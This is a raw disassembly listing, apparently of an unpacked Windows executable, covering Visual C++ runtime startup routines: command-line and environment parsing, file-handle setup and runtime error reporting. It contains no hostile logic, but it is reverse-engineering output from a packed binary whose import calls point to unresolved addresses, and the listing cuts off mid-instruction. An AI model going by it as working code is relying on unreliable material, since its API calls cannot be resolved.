loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC94C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB318 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2D0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB318 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB318 call sub_41B0B1 pop ecx mov dword_4DB318, ebx mov [esi], ebx pop edi pop esi mov dword_4DC950, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC954, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2670000h mov eax, dword_4DC94C mov off_4DB2E0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB2C8, esi pop edi pop esi mov dword_4DB2C4, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC821[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC821[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC821[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB488 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB488, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2630AF1h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB488, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2630D5Bh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD call near ptr 2630AF1h nop mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2630D9Ah mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC600, esi mov dword_4DC700, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC600 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax call near ptr 2890000h nop cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC700, esi jge short loc_4233E6 mov edi, offset dword_4DC604 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC700, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC700, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC700 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax call near ptr 2630000h nop test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC600 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax nop call near ptr 26307D0h mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi call near ptr 2630000h nop test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC700 call near ptr 2630A22h nop pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB320 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2F4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB48C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C988 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43CA18 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C988[esi] jnz loc_423719 mov eax, dword_4DB320 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2F4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 nop call near ptr 2670000h test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C98C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C98C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h nop call near ptr 26307D0h push eax nop call near ptr 26F0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC600 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC700 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC700, 20h lea ecx, ds:4DC600h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC700 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC600h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2F4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj call near ptr 2620DA7h nop loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC700 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC600h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2F4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2620DA7h loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC700 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC600[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 26208CBh test eax, eax jnz short loc_42391D nop call near ptr 2680930h jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB2AC, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB2A8, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5E0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi loc_423950: ; CODE XREF: sub_423936+12j mov dword_4DC5E0, eax loc_423955: ; CODE XREF: sub_423936+16j push 4 push eax call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 4 push esi mov dword_4DC5E0, esi call sub_424E01 pop ecx mov dword_4DB5C8, eax test eax, eax pop ecx jnz short loc_423989 push 1Ah call sub_41DA29 pop 